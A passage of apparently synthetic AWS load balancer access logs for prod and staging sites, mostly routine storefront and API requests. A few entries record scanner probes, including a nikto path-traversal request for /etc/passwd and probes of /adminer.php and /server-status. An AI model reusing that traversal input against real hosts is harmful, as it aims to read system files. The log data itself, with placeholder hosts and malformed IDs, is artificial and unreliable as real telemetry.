10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf0c-e9c33a66632c44d89303f5f7" "staging-alb.example.com" "-" 10 2024-11-01T00:31:56.609607Z "forward" "-" "-" "103.96.85.87:443" "301" "-" "-" +https 2024-11-01T00:31:57.062478Z prod-api-alb 45.155.205.157:31867 10.0.24.182:443 0.029126 0.104174 0.018447 404 404 180 5771 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf0d-016f5c45c5084f2985d715df" "-" "-" 2 2024-11-01T00:31:57.062478Z "forward" "-" "-" "10.0.24.182:443" "404" "-" "-" +https 2024-11-01T00:31:57.838709Z prod-api-alb 155.138.101.21:47316 10.0.126.169:443 0.072482 0.287228 0.066447 301 301 883 5599 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf0d-581e8be510154449bc9b42c2" "prod-api-alb.example.com" "-" 1 2024-11-01T00:31:57.838709Z "forward" "-" "-" "10.0.126.169:443" "301" "-" "-" +http 2024-11-01T00:31:59.121351Z staging-alb 132.59.7.134:27154 36.168.198.238:443 0.108198 0.643117 0.139927 404 404 683 10430 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf0f-121ea35e9e754b6c889334f2" "staging-alb.example.com" "-" 2 2024-11-01T00:31:59.121351Z "forward" "-" "-" "36.168.198.238:443" "404" "-" "-" +https 2024-11-01T00:31:59.566493Z staging-alb 52.61.19.191:37065 25.110.115.209:80 0.017567 0.450968 0.135495 302 302 659 6920 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf0f-d7180e12013642139dda0ccc" "staging-alb.example.com" "-" 3 2024-11-01T00:31:59.566493Z "forward" "-" "-" "25.110.115.209:80" "302" "-" "-" +https 2024-11-01T00:32:00.051710Z prod-web-alb 20.22.99.6:14599 10.0.245.39:443 0.060933 0.091467 0.041259 200 200 549 10447 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf10-16e71361922e46728128fefb" "prod-web-alb.example.com" "-" 7 2024-11-01T00:32:00.051710Z "forward" "-" "-" "10.0.245.39:443" "200" "-" "-" +https 2024-11-01T00:32:00.974840Z prod-api-alb 103.194.47.66:15314 10.0.16.230:443 0.064812 0.461483 0.023124 302 302 400 7117 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf10-c79d505a306f4f5ea29aad59" "prod-api-alb.example.com" "-" 3 2024-11-01T00:32:00.974840Z "forward" "-" "-" "10.0.16.230:443" "302" "-" "-" +http 2024-11-01T00:32:01.628084Z staging-alb 198.155.92.0:64803 212.76.99.20:80 0.130063 0.747092 0.073244 200 200 447 10786 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf11-0d2559a0834b4731bb2063b2" "staging-alb.example.com" "-" 3 2024-11-01T00:32:01.628084Z "forward" "-" "-" "212.76.99.20:80" "200" "-" "-" +https 2024-11-01T00:32:01.802650Z prod-web-alb 232.29.7.249:63989 10.0.59.187:443 0.056728 0.181340 0.029485 301 301 130 9170 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf11-da72366046d14ac8aa6143bf" "prod-web-alb.example.com" "-" 1 2024-11-01T00:32:01.802650Z "forward" "-" "-" "10.0.59.187:443" "301" "-" "-" +https 2024-11-01T00:32:03.677924Z prod-web-alb 107.215.88.64:55583 10.0.75.37:443 0.090297 0.366069 0.042444 200 200 624 7415 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf13-70e265853c534b76b007e649" "prod-web-alb.example.com" "-" 7 2024-11-01T00:32:03.677924Z "forward" "-" "-" "10.0.75.37:443" "200" "-" "-" +https 2024-11-01T00:32:03.831504Z prod-api-alb 27.252.202.108:25713 10.0.207.208:443 0.050582 0.068159 0.013704 302 302 494 10898 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf13-b59d5e2bbd4d46bd8543239f" "prod-api-alb.example.com" "-" 6 2024-11-01T00:32:03.831504Z "forward" "-" "-" "10.0.207.208:443" "302" "-" "-" +http 2024-11-01T00:32:05.260243Z staging-alb 149.227.50.221:41749 99.53.212.158:443 0.106667 0.605259 0.142460 200 200 126 10922 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf15-af83f73213944f86a7e0ab98" "staging-alb.example.com" "-" 5 2024-11-01T00:32:05.260243Z "forward" "-" "-" "99.53.212.158:443" "200" "-" "-" +https 2024-11-01T00:32:06.440294Z staging-alb 221.179.212.147:36229 104.94.39.71:80 0.067326 0.215185 0.119209 404 404 235 6295 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf16-19d75a15aada46d9bdab4474" "staging-alb.example.com" "-" 3 2024-11-01T00:32:06.440294Z "forward" "-" "-" "104.94.39.71:80" "404" "-" "-" +https 2024-11-01T00:32:07.702614Z staging-alb 99.187.70.169:30680 95.84.106.182:443 0.038600 0.132238 0.000119 404 404 910 3224 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf17-e073dd38b8a64e1799164b4e" "staging-alb.example.com" "-" 1 2024-11-01T00:32:07.702614Z "forward" "-" "-" "95.84.106.182:443" "404" "-" "-" +https 2024-11-01T00:32:09.430899Z prod-api-alb 22.195.121.88:20499 10.0.110.4:443 0.006893 0.371161 0.016930 404 404 49 6380 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf19-b14d5da74a3d41ef86217e16" "prod-api-alb.example.com" "-" 7 2024-11-01T00:32:09.430899Z "forward" "-" "-" "10.0.110.4:443" "404" "-" "-" +https 2024-11-01T00:32:10.510726Z prod-web-alb 228.137.163.187:12910 10.0.89.74:443 0.054745 0.433423 0.069114 200 200 137 11951 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf1a-cebd272b85574d8cb2961008" "prod-web-alb.example.com" "-" 2 2024-11-01T00:32:10.510726Z "forward" "-" "-" "10.0.89.74:443" "200" "-" "-" +https 2024-11-01T00:32:10.730749Z prod-web-alb 196.12.234.48:45149 10.0.53.205:443 0.077038 0.320563 0.045894 200 200 317 12998 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf1a-f9090ca778ae4a74ae3c6a76" "prod-web-alb.example.com" "-" 7 2024-11-01T00:32:10.730749Z "forward" "-" "-" "10.0.53.205:443" "200" "-" "-" +http 2024-11-01T00:32:11.746954Z staging-alb 193.99.158.251:58015 229.71.231.238:8080 0.144563 0.145787 0.141216 200 200 202 356 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf1b-92cce0c3ee214704b049cb72" "staging-alb.example.com" "-" 5 2024-11-01T00:32:11.746954Z "forward" "-" "-" "229.71.231.238:8080" "200" "-" "-" +https 2024-11-01T00:32:13.611962Z prod-web-alb 171.152.34.230:57504 10.0.79.176:443 0.039627 0.159120 0.064411 200 200 261 14103 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf1d-67fc450b73a74e289fbcb76e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:32:13.611962Z "forward" "-" "-" "10.0.79.176:443" "200" "-" "-" +https 2024-11-01T00:32:14.137770Z prod-web-alb 62.126.255.118:36128 10.0.28.21:443 0.022695 0.091421 0.011188 302 302 366 6965 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf1e-26d6f3759a544ed199720f1f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:32:14.137770Z "forward" "-" "-" "10.0.28.21:443" "302" "-" "-" +https 2024-11-01T00:32:14.474479Z prod-api-alb 45.155.205.66:22997 10.0.38.91:443 0.070691 0.245437 0.077942 404 404 192 6562 "PUT /server-status HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf1e-3608b2b8b5f94e6fa7016751" "-" "-" 0 2024-11-01T00:32:14.474479Z "forward" "-" "-" "10.0.38.91:443" "404" "-" "-" +http 2024-11-01T00:32:15.173851Z staging-alb 117.132.226.156:39088 28.97.168.24:80 0.008954 0.196632 0.071980 200 200 835 13844 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf1f-d8f68d6d14b444ab851f225b" "staging-alb.example.com" "-" 6 2024-11-01T00:32:15.173851Z "forward" "-" "-" "28.97.168.24:80" "200" "-" "-" +https 2024-11-01T00:32:15.990092Z prod-api-alb 103.234.85.243:27638 10.0.164.171:443 0.034291 0.370739 0.098259 200 200 894 1345 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf1f-0d02fed890114241b4bbe2f3" "prod-api-alb.example.com" "-" 5 2024-11-01T00:32:15.990092Z "forward" "-" "-" "10.0.164.171:443" "200" "-" "-" +https 2024-11-01T00:32:16.248762Z prod-web-alb 156.203.128.188:57852 10.0.169.6:443 0.013207 0.290550 0.026668 404 404 713 14276 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf20-ba60f964aad74efe8de1f4b6" "prod-web-alb.example.com" "-" 3 2024-11-01T00:32:16.248762Z "forward" "-" "-" "10.0.169.6:443" "404" "-" "-" +https 2024-11-01T00:32:17.705478Z prod-web-alb 191.241.89.52:18338 10.0.37.242:443 0.051986 0.366013 0.055494 200 200 179 13841 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf21-fb50e64274f744f8902b8a52" "prod-web-alb.example.com" "-" 8 2024-11-01T00:32:17.705478Z "forward" "-" "-" "10.0.37.242:443" "200" "-" "-" +https 2024-11-01T00:32:18.776315Z prod-api-alb 28.18.113.12:28087 10.0.206.250:443 0.056592 0.299790 0.036617 200 200 266 2498 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf22-f980bbf33a0447c1a8e40581" "prod-api-alb.example.com" "-" 4 2024-11-01T00:32:18.776315Z "forward" "-" "-" "10.0.206.250:443" "200" "-" "-" +https 2024-11-01T00:32:19.264052Z staging-alb 41.253.118.134:57909 127.213.170.56:80 0.055516 0.749013 0.075522 302 302 70 4406 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf23-346241721e68431cbb7b4431" "staging-alb.example.com" "-" 10 2024-11-01T00:32:19.264052Z "forward" "-" "-" "127.213.170.56:80" "302" "-" "-" +https 2024-11-01T00:32:19.995526Z staging-alb 192.180.2.218:64806 71.48.222.216:80 0.098602 0.319145 0.105082 301 301 235 5969 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf23-55199ff378954664b7cd6a0c" "staging-alb.example.com" "-" 10 2024-11-01T00:32:19.995526Z "forward" "-" "-" "71.48.222.216:80" "301" "-" "-" +https 2024-11-01T00:32:21.323932Z staging-alb 209.241.40.168:58393 46.11.15.249:8080 0.056314 0.179186 0.125432 200 200 304 6429 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf25-74f8a484d0a042a7aae273e6" "staging-alb.example.com" "-" 2 2024-11-01T00:32:21.323932Z "forward" "-" "-" "46.11.15.249:8080" "200" "-" "-" +http 2024-11-01T00:32:22.116550Z staging-alb 64.180.58.57:48019 239.147.150.149:8080 0.104494 0.077802 0.067603 200 200 528 8554 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf26-0ff5ffef5c2341c9891b53f2" "staging-alb.example.com" "-" 5 2024-11-01T00:32:22.116550Z "forward" "-" "-" "239.147.150.149:8080" "200" "-" "-" +https 2024-11-01T00:32:23.752317Z prod-api-alb 183.135.239.190:45323 10.0.221.112:443 0.039315 0.173536 0.090840 200 200 262 8453 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf27-37545a49c9134d189eda0b44" "prod-api-alb.example.com" "-" 7 2024-11-01T00:32:23.752317Z "forward" "-" "-" "10.0.221.112:443" "200" "-" "-" +https 2024-11-01T00:32:24.233024Z prod-web-alb 185.181.55.98:17520 10.0.211.239:443 0.026077 0.401179 0.087779 403 403 147 3265 "POST /adminer.php HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf28-b32367c62edb4f2699ac89ae" "-" "-" 0 2024-11-01T00:32:24.233024Z "forward" "-" "-" "10.0.211.239:443" "403" "-" "-" +http 2024-11-01T00:32:25.636864Z staging-alb 220.32.13.158:51021 81.70.215.184:443 0.107874 0.173581 0.030064 200 200 962 2420 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf29-ba447d4a484043be82251c2d" "staging-alb.example.com" "-" 4 2024-11-01T00:32:25.636864Z "forward" "-" "-" "81.70.215.184:443" "200" "-" "-" +http 2024-11-01T00:32:26.361022Z staging-alb 119.144.133.121:35646 156.206.64.106:80 0.123242 0.429537 0.018062 200 200 371 13852 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf2a-6d35387de0184f63be4593e0" "staging-alb.example.com" "-" 3 2024-11-01T00:32:26.361022Z "forward" "-" "-" "156.206.64.106:80" "200" "-" "-" +https 2024-11-01T00:32:26.644279Z prod-web-alb 40.73.73.68:49446 10.0.174.152:443 0.029425 0.478371 0.035280 404 404 510 3495 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf2a-d5965b7e59e1495da533c4dd" "prod-web-alb.example.com" "-" 10 2024-11-01T00:32:26.644279Z "forward" "-" "-" "10.0.174.152:443" "404" "-" "-" +https 2024-11-01T00:32:26.830905Z prod-web-alb 125.102.129.45:50307 10.0.17.64:443 0.048877 0.260590 0.031220 200 200 734 7911 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf2a-1f7a38c99abe4c319fd62070" "prod-web-alb.example.com" "-" 2 2024-11-01T00:32:26.830905Z "forward" "-" "-" "10.0.17.64:443" "200" "-" "-" +http 2024-11-01T00:32:28.736733Z staging-alb 3.183.103.126:10468 87.94.38.121:443 0.016318 0.133139 0.101748 404 404 263 4107 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf2c-ed2c981d6e8f4b28af1ece48" "staging-alb.example.com" "-" 7 2024-11-01T00:32:28.736733Z "forward" "-" "-" "87.94.38.121:443" "404" "-" "-" +https 2024-11-01T00:32:30.384200Z staging-alb 131.60.182.55:52710 164.237.112.199:443 0.023848 0.172237 0.051929 200 200 11 2919 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf2e-a2d43ef355f64e9fbc5f7c09" "staging-alb.example.com" "-" 5 2024-11-01T00:32:30.384200Z "forward" "-" "-" "164.237.112.199:443" "200" "-" "-" +https 2024-11-01T00:32:31.473691Z prod-web-alb 251.122.33.103:33731 10.0.127.191:443 0.047428 0.121136 0.001020 200 200 709 13469 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf2f-39bc6003c33c4c4db9f4d6f0" "prod-web-alb.example.com" "-" 3 2024-11-01T00:32:31.473691Z "forward" "-" "-" "10.0.127.191:443" "200" "-" "-" +http 2024-11-01T00:32:32.429072Z staging-alb 178.143.38.238:39485 140.41.188.99:80 0.051905 0.553182 0.084917 200 200 808 9507 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf30-f6bac45c2f1f4fcbae719cce" "staging-alb.example.com" "-" 5 2024-11-01T00:32:32.429072Z "forward" "-" "-" "140.41.188.99:80" "200" "-" "-" +http 2024-11-01T00:32:33.625021Z staging-alb 217.16.230.209:45137 21.50.140.62:80 0.139986 0.083290 0.002639 200 200 813 5629 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf31-067f22b8155046fca37c5ce4" "staging-alb.example.com" "-" 5 2024-11-01T00:32:33.625021Z "forward" "-" "-" "21.50.140.62:80" "200" "-" "-" +https 2024-11-01T00:32:33.892368Z prod-api-alb 146.34.195.22:24809 10.0.107.41:443 0.035445 0.409091 0.067605 302 302 654 11023 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf31-9c30f3c78912467a8ce3eb49" "-" "-" 8 2024-11-01T00:32:33.892368Z "forward" "-" "-" "10.0.107.41:443" "302" "-" "-" +https 2024-11-01T00:32:34.238133Z prod-api-alb 200.47.40.228:24256 10.0.180.211:443 0.029213 0.037610 0.033499 200 200 16 10217 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf32-c4bdb1a443454cbc84efe408" "prod-api-alb.example.com" "-" 3 2024-11-01T00:32:34.238133Z "forward" "-" "-" "10.0.180.211:443" "200" "-" "-" +https 2024-11-01T00:32:34.629396Z prod-web-alb 178.83.109.186:39613 10.0.164.138:443 0.034701 0.464951 0.023370 301 301 469 11573 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf32-f4860323263440ebb9a17b09" "prod-web-alb.example.com" "-" 0 2024-11-01T00:32:34.629396Z "forward" "-" "-" "10.0.164.138:443" "301" "-" "-" +https 2024-11-01T00:32:35.022971Z prod-api-alb 117.184.242.5:50848 10.0.34.244:443 0.083695 0.152555 0.007328 200 200 198 525 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf33-af8a0ebed7db4c6aba5cac06" "prod-api-alb.example.com" "-" 5 2024-11-01T00:32:35.022971Z "forward" "-" "-" "10.0.34.244:443" "200" "-" "-" +https 2024-11-01T00:32:36.577073Z staging-alb 194.234.34.15:42965 244.137.100.173:80 0.073613 0.571613 0.115675 302 302 865 2171 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf34-0f2bbabec05d4b2c96435915" "staging-alb.example.com" "-" 9 2024-11-01T00:32:36.577073Z "forward" "-" "-" "244.137.100.173:80" "302" "-" "-" +http 2024-11-01T00:32:37.781098Z staging-alb 211.185.181.68:12062 206.217.8.94:8080 0.063917 0.104846 0.118273 200 200 762 525 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf35-5eeb9159c38049e1abc8cd5a" "staging-alb.example.com" "-" 0 2024-11-01T00:32:37.781098Z "forward" "-" "-" "206.217.8.94:8080" "200" "-" "-" +https 2024-11-01T00:32:39.226404Z prod-api-alb 10.229.136.149:52879 10.0.222.91:443 0.019026 0.354384 0.032842 200 200 162 3077 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf37-5d3564bb0e2e4c27bc9f215d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:32:39.226404Z "forward" "-" "-" "10.0.222.91:443" "200" "-" "-" +https 2024-11-01T00:32:40.624706Z staging-alb 112.185.196.144:20484 